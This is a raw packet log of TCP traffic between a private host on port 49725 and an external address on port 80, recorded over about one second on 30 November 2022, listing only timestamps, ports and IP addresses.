Nov 30, 2022 00:11:14.284049988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.284091949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284140110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284154892 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.284197092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284245968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284259081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.284301043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284348965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284362078 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.284404039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284446001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284463882 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.284504890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.284549952 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.290086031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290143967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290189981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290235996 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.290257931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290309906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290323973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.290368080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290417910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290431023 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.290472984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290520906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290535927 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.290580034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.290657997 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.368056059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.368092060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.368202925 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.368371964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.368391991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.368410110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.368427038 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.368444920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.368458986 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.368490934 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.412708998 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.539339066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.539382935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.539412022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.539443016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.539469004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.539491892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.539515972 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.539530039 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.539566040 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.543852091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.543876886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.543976068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.546763897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.546797991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.546824932 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.546854019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.546895027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.546926975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.546941042 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.546972036 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.546984911 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547013998 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547041893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547063112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547086000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547116041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547130108 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547159910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547188997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547202110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547230959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547259092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547272921 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547302008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547331095 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547343969 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547373056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547400951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547415018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547445059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547502995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547532082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.547545910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547575951 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.547590017 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554481030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554536104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554567099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554606915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.554626942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.554640055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554675102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554704905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554719925 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.554749966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554778099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554791927 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.554821014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554851055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.554867983 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.554960012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555001974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555022001 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555061102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555095911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555111885 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555149078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555201054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555216074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555258989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555304050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555315971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555354118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555402040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555413961 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555454016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555505037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555516958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555561066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555605888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555618048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555660009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555704117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555718899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555751085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555780888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555797100 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.555824041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555855036 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.555870056 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.560579062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.560626984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.560666084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.560709000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.560734987 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.560764074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.560798883 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.560837984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.560854912 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.560893059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.560930967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.560947895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.560986042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.561026096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.561043978 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.615381956 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.637876034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.637902021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.637991905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.638825893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.638911963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.638962030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.638988018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.639040947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.639095068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.682427883 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.724792004 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.809932947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.809973001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.810000896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.810048103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.810070992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.810091972 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.810118914 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.810127974 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.810153008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.810164928 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.810189962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.810230970 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.814270020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.814354897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.814429045 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.817428112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817497015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817538977 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817570925 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.817627907 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817671061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817706108 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.817749977 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817790985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817821026 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.817857027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817899942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.817920923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.817964077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818006992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818049908 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.818068981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818129063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818155050 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.818191051 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818238020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818285942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818298101 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.818346024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818358898 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.818402052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818444014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818484068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.818512917 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.818547964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.818568945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825544119 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825603008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825638056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825674057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825716972 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825730085 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.825750113 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.825784922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.825798988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825881004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825915098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825942039 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.825964928 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.825999022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826014042 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826047897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826086044 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826107979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826162100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826212883 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826225996 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826261997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826297045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826313019 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826345921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826400042 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826411963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826447010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826482058 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826495886 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826529980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826562881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826579094 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826625109 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826678991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826690912 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826726913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826792002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826805115 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826848984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826896906 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.826919079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826955080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.826988935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.827003956 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.830904007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.830964088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.830981970 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.831022978 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.831060886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.831079006 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.831118107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.831154108 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.831168890 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.831206083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.831255913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.831269979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.831307888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.831346035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.831362963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.881124020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.886718035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.908109903 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.908186913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.908216000 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.908643007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.908687115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.908731937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.908754110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.908788919 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:14.994940996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.994962931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:14.995076895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.079993010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.080032110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.080055952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.080085039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.080096960 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.080126047 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.080154896 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.080192089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.080216885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.080234051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.080252886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.080293894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.083945036 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.083987951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.084224939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.088318110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088421106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088498116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088524103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.088572025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088597059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088629007 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.088660955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088705063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088725090 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.088771105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088835955 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.088860989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088923931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088963032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.088979959 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.089020967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089071035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.089102983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089148045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089188099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089206934 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.089277983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089322090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089351892 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.089400053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089442015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089466095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.089508057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.089557886 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.096533060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096554995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096575022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096595049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096641064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096671104 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.096700907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.096719980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096761942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.096780062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096801996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096822977 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096843004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096853971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.096873999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096888065 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.096920013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096940041 CET	80	49725	123.253.32.170	192.168.2.6
